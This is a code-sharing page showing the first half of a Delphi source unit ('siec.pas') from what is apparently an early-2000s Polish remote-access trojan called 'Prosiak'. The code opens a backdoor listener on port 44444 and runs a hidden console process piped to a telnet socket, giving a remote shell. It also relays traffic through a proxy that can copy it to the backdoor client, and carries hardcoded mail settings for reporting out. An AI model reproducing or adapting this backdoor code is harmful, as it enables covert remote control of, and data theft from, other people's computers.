⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 siec.pas

📁 2003年的远程控制
💻 PAS
📖 第 1 页 / 共 2 页
字号:
unit siec;

interface

uses forms,stale,toolz,sysutils,windows,classes,konfig,skrypt,httpd,
scktcomp;

const DEFbackport=44444;
      DEFproxyhost='mail.lublin.pl';
      DEFproxyremote=23;
      DEFproxylocal=23;
      DEFmailhost='mail.lublin.pl';
      defmailfrom='<kwikwi@kki.net.pl>';
      defsubject='Prosiak ';
      DEFtelnetport=230;
      DEFtelnetauto=true;
      DEFProxyauto=true;

var  NET_mailsending,NET_mailsent:boolean;
     NET_telnetauto:boolean;
     NET_proxyauto:boolean;
     add_ipnumber:boolean;

procedure xsend(s:String);
procedure xsend2(s:String);
procedure PROXY_start;
procedure PROXY_stop;
procedure Reconfigremote(par1,par2:string);
procedure Reconfiglocal(par1:string);

function  NET_commands(comm,par1,par2:string):boolean;
procedure NET_readconfig;
procedure NET_writeconfig;
procedure NET_updateconfig;
procedure NET_writeconfigdef;

procedure PROXY_server_connect(socket:TCustomWinSocket);
procedure PROXY_server_read(socket:TCustomWinSocket);
procedure PROXY_server_push(socket:TCustomWinSocket);
procedure PROXY_server_disconnect(socket:TCustomWinSocket);
procedure proxy_ServerClose;

procedure PROXY_client_connect(socket:TCustomWinSocket);
procedure PROXY_client_read(socket:TCustomWinSocket);
procedure PROXY_client_push(socket:TCustomWinSocket);
procedure PROXY_client_disconnect(socket:TCustomWinSocket);
procedure proxy_ClientClose;

procedure BACK_connect(socket:TCustomWinSocket);
procedure BACK_disconnect(socket:TCustomWinSocket);
procedure BACK_start;
procedure BACK_stop;
procedure BACK_kick; {wykopanie usera}

procedure NET_mail(socket:TCustomWinSocket);
procedure NET_mailstatus(par:string);

function ExecConsoleApp(CommandLine: String): Integer;
procedure cmd_end;
procedure telnetRead(Sender: TObject; Socket: TCustomWinSocket);
procedure telnet_start;

implementation

uses main,sharing;

var NET_clear:boolean;
var NET_proxyhost:string;
    NET_proxyremote,NET_proxylocal:integer;
    NET_backport:integer;
    NET_dump1,NET_dump2:boolean;
    NET_mailhost:string;
    NET_mailfrom:string;
    NET_mailto:string;
    NET_subject:string;
    NET_mailbody:TStringList;
    NET_telnetport:integer;
var backdoor:boolean;
    backclient:boolean; {backdoor}
    proxy_started:boolean;     {proxy}

var k2_conected,k1_conected:boolean;

const bufmax=100;
var Linia_cs,linia_sc: array[1..bufmax] of string;
    linia_csl,linia_scl:integer;
const BufSize = $4000;
var
  RHandle,Whandle: THandle;
  WriteHandle, ReadHandle: THandle;
  ReadBuf: array[0..BufSize] of Char;
  ProcessInfo:TProcessInformation;
  ThreadId:cardinal;

procedure xsend(s:String);
begin
if backclient then
form1.back.socket.connections[0].sendtext(s+#13#10);
end;

procedure xsend2(s:String);
begin
if backclient then
form1.back.socket.connections[0].sendtext(s);
end;

procedure telnet_out(s:string);
begin
if form1.telnet.Socket.ActiveConnections>0 then
form1.telnet.Socket.Connections[0].sendtext(s);
end;

procedure cmd_end;
var BytesWriten:cardinal;
begin
WriteFile(WHandle,#13#10'exit'#13#10#0,9,BytesWriten,nil);
przerwij:=true;
end;

procedure cmd_loop;
var wynik,exitcode,bytesread:cardinal;
begin
repeat
 wynik:=WaitForSingleObject(RHandle,1);
 if wynik<>WAIT_TIMEOUT then
  begin
  ReadFile(RHandle, ReadBuf, BufSize,BytesRead,nil);
  if bytesread>0 then telnet_out(copy(ReadBuf,1,Bytesread));
  end;
GetExitCodeProcess(ProcessInfo.hProcess, ExitCode);
until przerwij or (ExitCode<>STILL_ACTIVE);
TerminateProcess(Processinfo.hProcess, 255);
CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread);
CloseHandle(RHandle);
CloseHandle(ReadHandle);
ExitThread(0);
end;

function ExecConsoleApp(CommandLine: String): Integer;
var  StartupInfo:TStartupInfo;
begin
  FillChar(StartupInfo,SizeOf(StartupInfo), 0);
  CreatePipe(RHandle, WriteHandle, nil, 0);
  CreatePipe(ReadHandle, WHandle, nil, 0);
  with StartupInfo do
  begin
    cb:= SizeOf(StartupInfo);
    dwFlags:= STARTF_USESTDHANDLES;
    hStdOutput:= WriteHandle;
    hStdError:= WriteHandle;
    hStdInput:=ReadHandle;
    wShowWindow:= SW_HIDE;
  end;
  if not CreateProcess(nil, PChar(CommandLine), nil, nil,
     false, DETACHED_PROCESS or NORMAL_PRIORITY_CLASS,
     nil, nil, StartupInfo, ProcessInfo) then
  begin
   CloseHandle(RHandle);
   CloseHandle(ReadHandle);
   Result:=-1; exit;
   end;
CreateThread(nil,0,@cmd_loop,nil,0,ThreadID);
end;

procedure telnetRead(Sender: TObject;
  Socket: TCustomWinSocket);
var BytesWriten:cardinal;
    text:string;
begin
text:=socket.receivetext;
WriteFile(WHandle,text[1],1,BytesWriten,nil);
end;

procedure telnet_start;
begin
NET_telnetport:=23;
form1.telnet.port:=NET_telnetport;
form1.telnet.active:=true;
end;

procedure telnet_stop;
begin
form1.telnet.close;
form1.telnet.active:=false;
end;

procedure back_start;
begin
 form1.Back.port:=NET_backport;
 try
  form1.Back.active:=true;
  except
  halt;
 end;
 xlog('Back at port '+inttostr(NET_backport));
 debug('Back at port '+inttostr(NET_backport));
 backdoor:=true;
 backclient:=false;
end;

procedure back_stop;
begin
  form1.back.active:=false;
  form1.back.Close;
  xlog('Back closed');
  backdoor:=false;
  backclient:=false;
end;

procedure back_kick;
begin
form1.back.close;
form1.back.active:=true;
xlog('Backuser kick');
backdoor:=true;
backclient:=false;
telnetusr:=false;
end;

procedure proxy_start;
begin
if proxy_started then exit;
if form1.clisock.active then form1.clisock.active:=false;
if NET_proxyhost[1] in ['0'..'9'] then
form1.clisock.address:=NET_proxyhost else
form1.clisock.host:=NET_proxyhost;
form1.clisock.port:=NET_proxyremote;
form1.servsock.port:=NET_proxylocal;
form1.servsock.Active:=true;
xlog('Proxy '+inttostr(NET_proxylocal)+' -> '
       +NET_proxyhost+':'+inttostr(NET_proxyremote));
debug('Proxy '+inttostr(NET_proxylocal)+' -> '
       +NET_proxyhost+':'+inttostr(NET_proxyremote));
proxy_started:=true;
k1_conected:=false;
k2_conected:=false;
end;

procedure Proxy_Stop;
begin
 if k2_conected then proxy_ClientClose;
 if k1_conected then proxy_ServerClose;
 xlog('Proxy stopped');
 debug('Proxy stopped');
 form1.servsock.active:=false;
 proxy_started:=false;
end;

procedure reconfigremote(par1,par2:string);
begin
NET_proxyhost:=par1;
NET_proxyremote:=strtointdef(par2,23);
end;

procedure reconfiglocal(par1:string);
begin
NET_proxylocal:=strtointdef(par1,23);
end;

procedure proxy_ClientClose;
begin
debug('proxy: klient close');
if k2_conected then form1.clisock.close;
form1.clisock.active:=false;
k2_conected:=false;
end;

procedure proxy_ServerClose;
begin
debug('proxy: server close');
if k1_conected then form1.servsock.close;
form1.servsock.active:=false;
k1_conected:=false;
end;

procedure PROXY_client_push(socket:TcustomWinSocket);
var i:integer;
begin
if not k2_conected then exit;
if (linia_scl>0) then
 begin
 for i:=1 to linia_scl do socket.sendtext(linia_sc[i]);
 linia_scl:=0;
 end;
end;

procedure PROXY_server_push(socket:TcustomWinSocket);
var i:integer;
begin
if not k1_conected then exit;
if (linia_csl>0) then
 begin
 for i:=1 to linia_csl do socket.sendtext(linia_cs[i]);
 linia_csl:=0;
 end;
end;

procedure PROXY_server_read(socket:TCustomWinSocket);
var tx:string;
begin
repeat
 tx:=socket.receivetext;
 if tx='' then break;
 inc(linia_scl);
 linia_sc[linia_scl]:=tx;
if NET_dump1 then xsend2(tx);

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -